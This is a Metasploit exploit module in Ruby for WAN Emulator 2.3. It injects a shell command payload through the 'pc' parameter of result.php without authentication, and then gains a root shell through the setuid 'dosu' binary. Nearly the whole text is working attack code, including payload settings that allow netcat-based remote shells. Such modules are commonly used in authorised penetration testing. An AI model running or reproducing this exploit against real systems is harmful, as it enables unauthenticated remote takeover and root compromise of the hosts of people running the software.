WAN Emulator 2.3 – Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'WAN Emulator v2.3 Command Execution', 'Description' => %q{ This module exploits a command execution vulnerability in WAN Emulator version 2.3 which can be abused to allow unauthenticated users to execute arbitrary commands under the context of the 'www-data' user. The 'result.php' script calls shell_exec() with user controlled data from the 'pc' parameter. This module also exploits a command execution vulnerability to gain root privileges. The 'dosu' binary is suid 'root' and vulnerable to command execution in argument one. }, 'License' => MSF_LICENSE, 'Version' => '$Revision: 1 $', 'Privileged' => true, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Author' => [ 'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit ], 'References' => [ ['URL', 'http://itsecuritysolutions.org/2012-08-12-wanem-v2.3-multiple-vulnerabilities/'] #['OSVDB', ''], #['EDB', ''], ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic netcat-e', } }, 'DefaultOptions' => { 'ExitFunction' => 'none' }, 'Targets' => [ ['Automatic Targeting', { 'auto' => true }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 12 2012' )) end def on_new_session(client) client.shell_command_token("/UNIONFS/home/perc/dosu /bin/sh") end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => '/WANem/result.php' }) if res and res.body =~ /<br><br><br><b><font color=red>Can't measure\!\! Please repeat\.<\/font><\/b><\/body>/ return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit @peer = "#{rhost}:#{rport}" data = "pc=127.0.0.1; " data << URI.encode(payload.raw) data << "%26" print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)") begin res = send_request_cgi({ 'uri' => '/WANem/result.php', 'method' => 'POST', 'data' => data }, 25) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{@peer} - Connection failed") end if res and res.code == 200 print_good("#{@peer} - Payload sent successfully") else print_error("#{@peer} - Sending payload failed") end end end |